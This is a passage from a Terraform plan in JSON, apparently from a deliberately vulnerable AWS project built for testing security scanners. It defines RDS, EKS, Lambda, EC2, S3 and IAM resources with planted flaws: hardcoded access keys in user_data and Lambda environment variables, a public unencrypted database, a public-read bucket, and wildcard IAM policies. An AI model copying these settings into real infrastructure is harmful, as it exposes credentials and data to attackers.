\"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"allocated_storage\": {\n              \"constant_value\": \"20\"\n            },\n            \"apply_immediately\": {\n              \"constant_value\": true\n            },\n            \"backup_retention_period\": {\n              \"constant_value\": 0\n            },\n            \"db_subnet_group_name\": {\n              \"references\": [\n                \"aws_db_subnet_group.default\"\n              ]\n            },\n            \"engine\": {\n              \"constant_value\": \"mysql\"\n            },\n            \"engine_version\": {\n              \"constant_value\": \"8.0\"\n            },\n            \"identifier\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"instance_class\": {\n              \"constant_value\": \"db.t3.micro\"\n            },\n            \"monitoring_interval\": {\n              \"constant_value\": 0\n            },\n            \"multi_az\": {\n              \"constant_value\": false\n            },\n            \"name\": {\n              \"references\": [\n                \"var.dbname\"\n              ]\n            },\n            \"option_group_name\": {\n              \"references\": [\n                \"aws_db_option_group.default\"\n              ]\n            },\n            \"parameter_group_name\": {\n              \"references\": [\n                \"aws_db_parameter_group.default\"\n              ]\n            },\n            \"password\": {\n              \"references\": [\n                \"var.password\"\n              ]\n            },\n            \"publicly_accessible\": {\n              \"constant_value\": true\n            },\n            \"skip_final_snapshot\": {\n              \"constant_value\": true\n            },\n            \"storage_encrypted\": {\n              \"constant_value\": false\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"username\": {\n              \"constant_value\": \"admin\"\n            },\n            \"vpc_security_group_ids\": {\n              \"references\": [\n                \"aws_security_group.default\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_db_option_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_option_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"engine_name\": {\n              \"constant_value\": \"mysql\"\n            },\n            \"major_engine_version\": {\n              \"constant_value\": \"8.0\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"option_group_description\": {\n              \"constant_value\": \"Terraform OG\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_db_parameter_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_parameter_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"constant_value\": \"Terraform PG\"\n            },\n            \"family\": {\n              \"constant_value\": \"mysql8.0\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"parameter\": [\n              {\n                \"apply_method\": {\n                  \"constant_value\": \"immediate\"\n                },\n                \"name\": {\n                  \"constant_value\": \"character_set_client\"\n                },\n                \"value\": {\n                  \"constant_value\": \"utf8\"\n                }\n              },\n              {\n                \"apply_method\": {\n                  \"constant_value\": \"immediate\"\n                },\n                \"name\": {\n                  \"constant_value\": \"character_set_server\"\n                },\n                \"value\": {\n                  \"constant_value\": \"utf8\"\n                }\n              }\n            ],\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_db_subnet_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_subnet_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"constant_value\": \"Terraform DB Subnet Group\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"subnet_ids\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\",\n                \"aws_subnet.web_subnet2\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_ebs_snapshot.example_snapshot\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_snapshot\",\n          \"name\": \"example_snapshot\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"volume_id\": {\n              \"references\": [\n                \"aws_ebs_volume.web_host_storage\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_ebs_volume.web_host_storage\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_volume\",\n          \"name\": \"web_host_storage\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone\"\n              ]\n            },\n            \"size\": {\n              \"constant_value\": 1\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_ecr_repository.repository\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecr_repository\",\n          \"name\": \"repository\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"image_tag_mutability\": {\n              \"constant_value\": \"MUTABLE\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_eks_cluster.eks_cluster\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_eks_cluster\",\n          \"name\": \"eks_cluster\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.eks_name\"\n              ]\n            },\n            \"role_arn\": {\n              \"references\": [\n                \"aws_iam_role.iam_for_eks\"\n              ]\n            },\n            \"vpc_config\": [\n              {\n                \"endpoint_private_access\": {\n                  \"constant_value\": true\n                },\n                \"subnet_ids\": {\n                  \"references\": [\n                    \"aws_subnet.eks_subnet1\",\n                    \"aws_subnet.eks_subnet2\"\n                  ]\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0,\n          \"depends_on\": [\n            \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n            \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\"\n          ]\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain\",\n          \"name\": \"monitoring-framework\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cluster_config\": [\n              {\n                \"dedicated_master_count\": {\n                  \"constant_value\": 1\n                },\n                \"dedicated_master_enabled\": {\n                  \"constant_value\": false\n                },\n                \"dedicated_master_type\": {\n                  \"constant_value\": \"m4.large.elasticsearch\"\n                },\n                \"instance_count\": {\n                  \"constant_value\": 1\n                },\n                \"instance_type\": {\n                  \"constant_value\": \"t2.small.elasticsearch\"\n                }\n              }\n            ],\n            \"domain_name\": {\n              \"references\": [\n                \"var.environment\"\n              ]\n            },\n            \"ebs_options\": [\n              {\n                \"ebs_enabled\": {\n                  \"constant_value\": true\n                },\n                \"volume_size\": {\n                  \"constant_value\": 30\n                }\n              }\n            ],\n            \"elasticsearch_version\": {\n              \"constant_value\": \"2.3\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain_policy\",\n          \"name\": \"monitoring-framework-policy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"access_policies\": {\n              \"references\": [\n                \"data.aws_iam_policy_document.policy\"\n              ]\n            },\n            \"domain_name\": {\n              \"references\": [\n                \"aws_elasticsearch_domain.monitoring-framework\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_elb.weblb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elb\",\n          \"name\": \"weblb\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"connection_draining\": {\n              \"constant_value\": true\n            },\n            \"connection_draining_timeout\": {\n              \"constant_value\": 400\n            },\n            \"cross_zone_load_balancing\": {\n              \"constant_value\": true\n            },\n            \"health_check\": [\n              {\n                \"healthy_threshold\": {\n                  \"constant_value\": 2\n                },\n                \"interval\": {\n                  \"constant_value\": 30\n                },\n                \"target\": {\n                  \"constant_value\": \"HTTP:8000/\"\n                },\n                \"timeout\": {\n                  \"constant_value\": 3\n                },\n                \"unhealthy_threshold\": {\n                  \"constant_value\": 2\n                }\n              }\n            ],\n            \"idle_timeout\": {\n              \"constant_value\": 400\n            },\n            \"instances\": {\n              \"references\": [\n                \"aws_instance.web_host\"\n              ]\n            },\n            \"listener\": [\n              {\n                \"instance_port\": {\n                  \"constant_value\": 8000\n                },\n                \"instance_protocol\": {\n                  \"constant_value\": \"http\"\n                },\n                \"lb_port\": {\n                  \"constant_value\": 80\n                },\n                \"lb_protocol\": {\n                  \"constant_value\": \"http\"\n                }\n              }\n            ],\n            \"name\": {\n              \"constant_value\": \"weblb-terraform-elb\"\n            },\n            \"security_groups\": {\n              \"references\": [\n                \"aws_security_group.web-node\"\n              ]\n            },\n            \"subnets\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"constant_value\": {\n                \"Name\": \"foobar-terraform-elb\"\n              }\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_flow_log.vpcflowlogs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_flow_log\",\n          \"name\": \"vpcflowlogs\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"log_destination\": {\n              \"references\": [\n                \"aws_s3_bucket.flowbucket\"\n              ]\n            },\n            \"log_destination_type\": {\n              \"constant_value\": \"s3\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"traffic_type\": {\n              \"constant_value\": \"ALL\"\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_access_key.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_access_key\",\n          \"name\": \"user\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"user\": {\n              \"references\": [\n                \"aws_iam_user.user\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_instance_profile.ec2profile\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_instance_profile\",\n          \"name\": \"ec2profile\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.ec2role\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role.ec2role\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"ec2role\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"assume_role_policy\": {\n              \"constant_value\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"path\": {\n              \"constant_value\": \"/\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_eks\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_eks\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"assume_role_policy\": {\n              \"references\": [\n                \"data.aws_iam_policy_document.iam_policy_eks\"\n              ]\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_lambda\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"assume_role_policy\": {\n              \"constant_value\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role_policy.ec2policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy\",\n          \"name\": \"ec2policy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"policy\": {\n              \"constant_value\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.ec2role\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"policy_arn\": {\n              \"constant_value\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.iam_for_eks\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"policy_arn\": {\n              \"constant_value\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.iam_for_eks\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_user.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user\",\n          \"name\": \"user\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_user_policy.userpolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user_policy\",\n          \"name\": \"userpolicy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"excess_policy\"\n            },\n            \"policy\": {\n              \"constant_value\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n            },\n            \"user\": {\n              \"references\": [\n                \"aws_iam_user.user\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_instance.db_app\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"db_app\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"ami\": {\n              \"references\": [\n                \"data.aws_ami.amazon-linux-2\"\n              ]\n            },\n            \"iam_instance_profile\": {\n              \"references\": [\n                \"aws_iam_instance_profile.ec2profile\"\n              ]\n            },\n            \"instance_type\": {\n              \"constant_value\": \"t2.nano\"\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"user_data\": {\n              \"references\": [\n                \"aws_db_instance.default\",\n                \"aws_db_instance.default\",\n                \"var.password\",\n                \"aws_db_instance.default\"\n              ]\n            },\n            \"vpc_security_group_ids\": {\n              \"references\": [\n                \"aws_security_group.web-node\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_instance.web_host\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"web_host\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"ami\": {\n              \"references\": [\n                \"var.ami\"\n              ]\n            },\n            \"instance_type\": {\n              \"constant_value\": \"t2.nano\"\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"user_data\": {\n              \"constant_value\": \"#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMAAA\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"\\u003ch1\\u003eDeployed via Terraform\\u003c/h1\\u003e\\\" | sudo tee /var/www/html/index.html\\n\"\n            },\n            \"vpc_security_group_ids\": {\n              \"references\": [\n                \"aws_security_group.web-node\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_internet_gateway.web_igw\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_internet_gateway\",\n          \"name\": \"web_igw\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_kms_alias.logs_key_alias\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_alias\",\n          \"name\": \"logs_key_alias\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"target_key_id\": {\n              \"references\": [\n                \"aws_kms_key.logs_key\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_kms_key.logs_key\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_key\",\n          \"name\": \"logs_key\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"deletion_window_in_days\": {\n              \"constant_value\": 7\n            },\n            \"description\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_lambda_function.analysis_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lambda_function\",\n          \"name\": \"analysis_lambda\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"environment\": [\n              {\n                \"variables\": {\n                  \"constant_value\": {\n                    \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                    \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n                  }\n                }\n              }\n            ],\n            \"filename\": {\n              \"constant_value\": \"resources/lambda_function_payload.zip\"\n            },\n            \"function_name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"handler\": {\n              \"constant_value\": \"exports.test\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.iam_for_lambda\"\n              ]\n            },\n            \"runtime\": {\n              \"constant_value\": \"nodejs12.x\"\n            },\n            \"source_code_hash\": {}\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_neptune_cluster.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"apply_immediately\": {\n              \"constant_value\": true\n            },\n            \"backup_retention_period\": {\n              \"constant_value\": 5\n            },\n            \"cluster_identifier\": {\n              \"references\": [\n                \"var.neptune-dbname\"\n              ]\n            },\n            \"engine\": {\n              \"constant_value\": \"neptune\"\n            },\n            \"iam_database_authentication_enabled\": {\n              \"constant_value\": false\n            },\n            \"preferred_backup_window\": {\n              \"constant_value\": \"07:00-09:00\"\n            },\n            \"skip_final_snapshot\": {\n              \"constant_value\": true\n            },\n            \"storage_encrypted\": {\n              \"constant_value\": false\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_neptune_cluster_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_instance\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"apply_immediately\": {\n              \"constant_value\": true\n            },\n            \"cluster_identifier\": {\n              \"references\": [\n                \"aws_neptune_cluster.default\"\n              ]\n            },\n            \"engine\": {\n              \"constant_value\": \"neptune\"\n            },\n            \"instance_class\": {\n              \"constant_value\": \"db.t3.medium\"\n            }\n          },\n          \"schema_version\": 0,\n          \"count_expression\": {\n            \"constant_value\": 1\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster_snapshot.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_snapshot\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"db_cluster_identifier\": {\n              \"references\": [\n                \"aws_neptune_cluster.default\"\n              ]\n            },\n            \"db_cluster_snapshot_identifier\": {\n              \"constant_value\": \"resourcetestsnapshot1\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_network_interface.web-eni\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_network_interface\",\n          \"name\": \"web-eni\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"private_ips\": {\n              \"constant_value\": [\n                \"172.16.10.100\"\n              ]\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route.public_internet_gateway\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route\",\n          \"name\": \"public_internet_gateway\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"destination_cidr_block\": {\n              \"constant_value\": \"0.0.0.0/0\"\n            },\n            \"gateway_id\": {\n              \"references\": [\n                \"aws_internet_gateway.web_igw\"\n              ]\n            },\n            \"route_table_id\": {\n              \"references\": [\n                \"aws_route_table.web_rtb\"\n              ]\n            },\n            \"timeouts\": {\n              \"create\": {\n                \"constant_value\": \"5m\"\n              }\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route_table.web_rtb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table\",\n          \"name\": \"web_rtb\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"route_table_id\": {\n              \"references\": [\n                \"aws_route_table.web_rtb\"\n              ]\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"route_table_id\": {\n              \"references\": [\n                \"aws_route_table.web_rtb\"\n              ]\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet2\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.data\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"public-read\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.data_science\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data_science\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"private\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"logging\": [\n              {\n                \"target_bucket\": {\n                  \"references\": [\n                    \"aws_s3_bucket.logs\"\n                  ]\n                },\n                \"target_prefix\": {\n                  \"constant_value\": \"log/\"\n                }\n              }\n            ],\n            \"versioning\": [\n              {\n                \"enabled\": {\n                  \"constant_value\": true\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.financials\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"financials\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"private\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.flowbucket\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"flowbucket\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.logs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"logs\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"log-delivery-write\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"server_side_encryption_configuration\": [\n              {\n                \"rule\": [\n                  {\n                    \"apply_server_side_encryption_by_default\": [\n                      {\n                        \"kms_master_key_id\": {\n                          \"references\": [\n                            \"aws_kms_key.logs_key\"\n                          ]\n                        },\n                        \"sse_algorithm\": {\n                          \"constant_value\": \"aws:kms\"\n                        }\n                      }\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"versioning\": [\n              {\n                \"enabled\": {\n                  \"constant_value\": true\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.operations\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"operations\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"private\"\n            },\n            \"bucket\": {\n              \"references\": [\n                